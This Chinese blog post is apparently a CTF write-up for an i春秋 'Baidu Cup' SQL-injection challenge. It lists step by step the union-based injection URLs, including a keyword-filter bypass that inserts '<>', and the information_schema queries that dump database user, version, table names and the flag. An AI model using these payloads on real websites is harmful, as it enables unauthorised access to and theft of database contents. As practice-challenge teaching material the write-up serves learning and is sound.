在i春秋上注册了账号,准备业余时间玩玩CTF。其中的九月场已经打完了,但是不妨碍我去做做题,现在将一些思路分享一下。

一. 第二场web SQL

根据题目来看是一个SQL注入的题目:

这里推荐两篇文章:

sql注入字符绕过方法:http://www.2cto.com/Article/201301/182519.html

sql注入实例一枚: http://blog.csdn.net/praifire/article/details/51926863

下面是这个题目的思路:

1. 首先看看是否有字符过滤,
把所有字符串都试一遍
/index.php?id = 1~!@$%^&*()_+-={}[]'";<>/?
发现<>直接被删除,即是:sele<>ct --> select
符号+被替换为空格等等

2. 获取当前表的字段个数:
使用语句:
/index.php?id=1 order by [数值]
由于有过滤,这里进行替换:
首先数值是1:
/index.php?id=1 ord<>er by 1 正常返回
然后2:
/index.php?id=1 ord<>er by 2 正常返回
/index.php?id=1 ord<>er by 4 无返回
/index.php?id=1 ord<>er by 3 正常返回
可以判定,字段数为3

3. 使用联合查询,获取可以显示的字段
[注:联合查询,union,参考:http://www.jb51.net/article/48933.htm]
/index.php?id=1 union select 1,2,3
/index.php?id=1 uni<>on sel<>ect 1,2,3
执行之后,第二个字段被显示出来,说明三个字段只有第二个字段可以显示。

4、暴出数据库用户、版本、库名和路径信息,运气不错,是root权限。
/index.php?id=1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3
/index.php?id=1 uni<>on sel<>ect 1,gro<>up_con<>cat(u<>ser(),0x5e5e,vers<>ion(),0x5e5e,datab<>ase(),0x5e5e,@@base<>dir),3
返回:sqli@localhost^^5.5.50-0ubuntu0.14.04.1^^sqli^^/usr
一个名为sqli的用户,操作系统为ubuntu

5.暴出当前库中的所有表名,查了下只有一个account表还比较像存放用户名和口令信息的表
/index.php?id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
/index.php?id=1 un<>ion se<>lect 1,gro<>up_concat(table_na<>me),3 fr<>om in<>formation_schema.tab<>les where table_sc<>hema=dat<>abase()
返回:info
说明只有一个info表。

6.暴出info表中的所有字段名
/index.php?id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='info'
/index.php?id=1 uni<>on se<>lect 1,grou<>p_con<>cat(co<>lumn_name),3 from information_schema.colu<>mns wher<>e table_name='info'
返回:
id,title,flAg_T5ZNdrm
表中有三个字段:目测flag应该就在flAg_T5ZNdrm中:

7.暴出flAg_T5ZNdrm字段里的内容:
/index.php?id=1 union select 1,group_concat(flAg_T5ZNdrm),3 from info
/index.php?id=1 un<>ion se<>lect 1,group_concat(flAg_T5ZNdrm),3 from info
返回:
flag{8b62cfab-d5ba-4ae8-bf35-44aa1e15d6ea},test

得到flag:
flag{8b62cfab-d5ba-4ae8-bf35-44aa1e15d6ea}

百度杯CTF夺旗大赛9月场writeup的更多相关文章

  1. [i春秋]“百度杯”CTF比赛 十月场-Hash

    前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...

  2. "百度杯"CTF比赛 十月场——EXEC

    "百度杯"CTF比赛 十月场--EXEC 进入网站页面 查看源码 发现了vim,可能是vim泄露,于是在url地址输入了http://21b854b211034489a4ee1cb ...

  3. “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)

    题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...

  4. “百度杯”CTF比赛 2017 二月场(Misc Web)

    爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到f ...

  5. “百度杯”CTF比赛 九月场_YeserCMS

    题目在i春秋ctf大本营 题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞 这里我利用的是无限报错注入 访问url/celive/live/header.php,直 ...

  6. “百度杯”CTF比赛 2017 二月场_onthink

    题目在i春秋ctf训练营中能找到,这题直接拿大佬的wp来充数 百度找到onethinnk的一个漏洞. 参考:http://www.hackdig.com/06/hack-36510.htm 就是注册个 ...

  7. “百度杯”CTF比赛(二月场)-web-writeup

    爆破一: 打开网页看到源代码: 根据提示这题就是找变量的值,本想爆破,但不太现实.百度 php获取变量的值 有个超全局数组 $GLOBALS 爆破二: 打开网页看到源代码: 看到了eval() 函数, ...

  8. “百度杯”CTF比赛 九月场_Test(海洋cms前台getshell)

    题目在i春秋ctf训练营 又是一道cms的通用漏洞的题,直接去百度查看通用漏洞 这里我使用的是以下这个漏洞: 海洋CMS V6.28代码执行0day 按照给出的payload,直接访问url+/sea ...

  9. “百度杯”CTF比赛 九月场_123(文件备份,爆破,上传)

    题目在i春秋ctf训练营 翻看源码,发现提示: 打开user.php,页面一片空白,参考大佬的博客才知道可能会存在user.php.bak的备份文件,下载该文件可以得到用户名列表 拿去burp爆破: ...

随机推荐

  1. Hibernate之SQL查询

    Hibernate支持使用原生的SQL语句进行查询.使用原生的SQL的好处是:可以利用某些数据库的特性(不同的数据库SQL 语法会有所差异), 将原有的使用JDBC作为持久层技术的应用 ,迁移到使用H ...

  2. 一个CSS简单入门网站

    讲的知识简单明了,很实用: http://zh.learnlayout.com/

  3. surging教学视频资源汇总

    surging是什么 surging 是一个分布式微服务框架,提供高性能RPC远程服务调用,采用Zookeeper.Consul作为surging服务的注册中心,集成了哈希,随机,轮询.压力最小优先作 ...

  4. python虚拟环境搭建大全(转)

    Pipenv & 虚拟环境 本教程将引导您完成安装和使用 Python 包. 它将向您展示如何安装和使用必要的工具,并就最佳做法做出强烈推荐.请记住, Python 用于许多不同的目的.准确地 ...

  5. Python struct模块

    有的时候需要用python处理二进制数据,比如,存取文件,socket操作时.这时候,可以使用python的struct模块来完成.可以用 struct来处理c语言中的结构体. struct模块中最重 ...

  6. Vue 2.x + Webpack 3.x + Nodejs 多页面项目框架(下篇——多页面VueSSR+热更新Server)

    Vue 2.x + Webpack 3.x + Nodejs 多页面项目框架(下篇--多页面VueSSR+热更新Server) @(HTML/JS) 这是Vue多页面框架系列文章的第二篇,上一篇(纯前 ...

  7. 新概念英语(1-111)The most expensive model

    Lesson 111 The most expensive model 最昂贵的型号 Listen to the tape then answer this question. Can Mr. Fri ...

  8. Docker学习笔记 - Docker数据卷的备份和还原

    学习目标: 备份数据卷 还原数据卷 # 通过容器备份数据卷容器中的数据卷 docker run --volumes-from dvt5 -v ~/backup:/backup --name dvt10 ...

  9. JS中apply和call的应用和区别

    因为object没有某个方法,但是别的对象有,可以借助apply或call像别的对象借方法来操作. 猫吃鱼,狗吃肉,奥特曼打小怪兽. 有天狗想吃鱼了 猫.吃鱼.call(狗,鱼) 狗就吃到鱼了 猫成精 ...

  10. SQL优化(SQL TUNING)之10分钟完成亿级数据量性能优化(SQL调优)

    前几天,一个用户研发QQ找我,如下: 自由的海豚. 16:12:01 岛主,我的一条SQL查不出来结果,能帮我看看不? 兰花岛主 16:12:10 多久不出结果? 自由的海豚 16:12:17 多久都 ...